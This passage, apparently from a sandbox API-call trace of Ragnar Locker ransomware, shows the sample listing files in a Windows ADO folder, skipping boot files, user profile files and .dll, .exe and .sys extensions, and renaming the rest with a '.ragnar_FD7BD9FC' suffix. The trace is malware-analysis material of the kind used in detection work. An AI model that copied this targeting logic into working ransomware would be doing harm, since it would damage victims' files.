files\\system\\ado\\msado25.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.573] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0078.573] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.573] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msado26.tlb" | out: lpString1="msado26.tlb") returned="msado26.tlb" [0078.573] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned=".tlb" [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="autorun.inf") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="boot.ini") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="bootfont.bin") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="bootsect.bak") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="bootmgr") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="bootmgr.efi") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="bootmgfw.efi") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="desktop.ini") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="iconcache.db") returned 1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="ntldr") returned -1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="ntuser.dat") returned -1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="ntuser.dat.log") returned -1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="ntuser.ini") returned -1 [0078.573] lstrcmpiW (lpString1="msado26.tlb", lpString2="thumbs.db") returned -1 [0078.573] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.573] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.573] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.573] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.573] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.573] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.573] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0078.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.574] CloseHandle (hObject=0xffffffff) returned 0 [0078.574] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" [0078.574] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.ragnar_FD7BD9FC" [0078.574] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.574] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0078.574] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.574] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msado27.tlb" | out: lpString1="msado27.tlb") returned="msado27.tlb" [0078.574] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned=".tlb" [0078.574] lstrcmpiW (lpString1="msado27.tlb", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="autorun.inf") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="boot.ini") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="bootfont.bin") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="bootsect.bak") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="bootmgr") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="bootmgr.efi") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="bootmgfw.efi") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="desktop.ini") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="iconcache.db") returned 1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="ntldr") returned -1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="ntuser.dat") returned -1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="ntuser.dat.log") returned -1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="ntuser.ini") returned -1 [0078.575] lstrcmpiW (lpString1="msado27.tlb", lpString2="thumbs.db") returned -1 [0078.575] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.575] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.575] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.575] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.575] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.575] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.575] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb")) returned 0x20 [0078.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.575] CloseHandle (hObject=0xffffffff) returned 0 [0078.575] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" [0078.575] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.ragnar_FD7BD9FC" [0078.575] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.576] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0078.576] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.576] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msado28.tlb" | out: lpString1="msado28.tlb") returned="msado28.tlb" [0078.576] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned=".tlb" [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="autorun.inf") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="boot.ini") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="bootfont.bin") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="bootsect.bak") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="bootmgr") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="bootmgr.efi") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="bootmgfw.efi") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="desktop.ini") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="iconcache.db") returned 1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="ntldr") returned -1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="ntuser.dat") returned -1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="ntuser.dat.log") returned -1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="ntuser.ini") returned -1 [0078.576] lstrcmpiW (lpString1="msado28.tlb", lpString2="thumbs.db") returned -1 [0078.576] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.576] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.576] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.576] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.576] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.576] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.576] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0078.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.577] CloseHandle (hObject=0xffffffff) returned 0 [0078.577] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" [0078.577] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.ragnar_FD7BD9FC" [0078.577] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.577] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0078.577] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.577] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msadomd.dll" | out: lpString1="msadomd.dll") returned="msadomd.dll" [0078.577] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll") returned=".dll" [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="autorun.inf") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="boot.ini") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="bootfont.bin") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="bootsect.bak") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="bootmgr") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="bootmgr.efi") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="bootmgfw.efi") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="desktop.ini") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="iconcache.db") returned 1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="ntldr") returned -1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="ntuser.dat") returned -1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="ntuser.dat.log") returned -1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="ntuser.ini") returned -1 [0078.577] lstrcmpiW (lpString1="msadomd.dll", lpString2="thumbs.db") returned -1 [0078.577] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.577] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.577] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.578] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0078.578] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.578] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msadomd28.tlb" | out: lpString1="msadomd28.tlb") returned="msadomd28.tlb" [0078.578] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned=".tlb" [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="autorun.inf") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="boot.ini") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="bootfont.bin") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="bootsect.bak") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="bootmgr") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="bootmgr.efi") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="bootmgfw.efi") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="desktop.ini") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="iconcache.db") returned 1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="ntldr") returned -1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="ntuser.dat") returned -1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="ntuser.dat.log") returned -1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="ntuser.ini") returned -1 [0078.578] lstrcmpiW (lpString1="msadomd28.tlb", lpString2="thumbs.db") returned -1 [0078.578] lstrcmpiW (lpString1=".tlb", lpString2=".db") returned 1 [0078.578] lstrcmpiW (lpString1=".tlb", lpString2=".sys") returned 1 [0078.578] lstrcmpiW (lpString1=".tlb", lpString2=".dll") returned 1 [0078.578] lstrcmpiW (lpString1=".tlb", lpString2=".lnk") returned 1 [0078.578] lstrcmpiW (lpString1=".tlb", lpString2=".msi") returned 1 [0078.578] lstrcmpiW (lpString1=".tlb", lpString2=".drv") returned 1 [0078.578] lstrcmpiW (lpString1=".tlb", lpString2=".exe") returned 1 [0078.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20 [0078.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.579] CloseHandle (hObject=0xffffffff) returned 0 [0078.579] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" [0078.579] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.ragnar_FD7BD9FC" [0078.579] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.579] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0078.579] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.579] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msador15.dll" | out: lpString1="msador15.dll") returned="msador15.dll" [0078.579] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll") returned=".dll" [0078.579] lstrcmpiW (lpString1="msador15.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.579] lstrcmpiW (lpString1="msador15.dll", lpString2="autorun.inf") returned 1 [0078.579] lstrcmpiW (lpString1="msador15.dll", lpString2="boot.ini") returned 1 [0078.579] lstrcmpiW (lpString1="msador15.dll", lpString2="bootfont.bin") returned 1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="bootsect.bak") returned 1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="bootmgr") returned 1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="bootmgr.efi") returned 1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="bootmgfw.efi") returned 1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="desktop.ini") returned 1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="iconcache.db") returned 1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="ntldr") returned -1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="ntuser.dat") returned -1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="ntuser.dat.log") returned -1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="ntuser.ini") returned -1 [0078.580] lstrcmpiW (lpString1="msador15.dll", lpString2="thumbs.db") returned -1 [0078.580] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.580] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.580] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.580] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0078.580] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.580] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msadox.dll" | out: lpString1="msadox.dll") returned="msadox.dll" [0078.580] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox.dll") returned=".dll" [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="autorun.inf") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="boot.ini") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="bootfont.bin") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="bootsect.bak") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="bootmgr") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="bootmgr.efi") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="bootmgfw.efi") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="desktop.ini") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="iconcache.db") returned 1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="ntldr") returned -1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="ntuser.dat") returned -1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="ntuser.dat.log") returned -1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="ntuser.ini") returned -1 [0078.580] lstrcmpiW (lpString1="msadox.dll", lpString2="thumbs.db") returned -1 [0078.580] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.580] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.580] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.580] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0078.581] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.581] lstrcpyW (in: lpString1=0x1eb61a, lpString2="msadox28.tlb" | out: lpString1="msadox28.tlb") returned="msadox28.tlb" [0078.581] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned=".tlb" [0078.581] 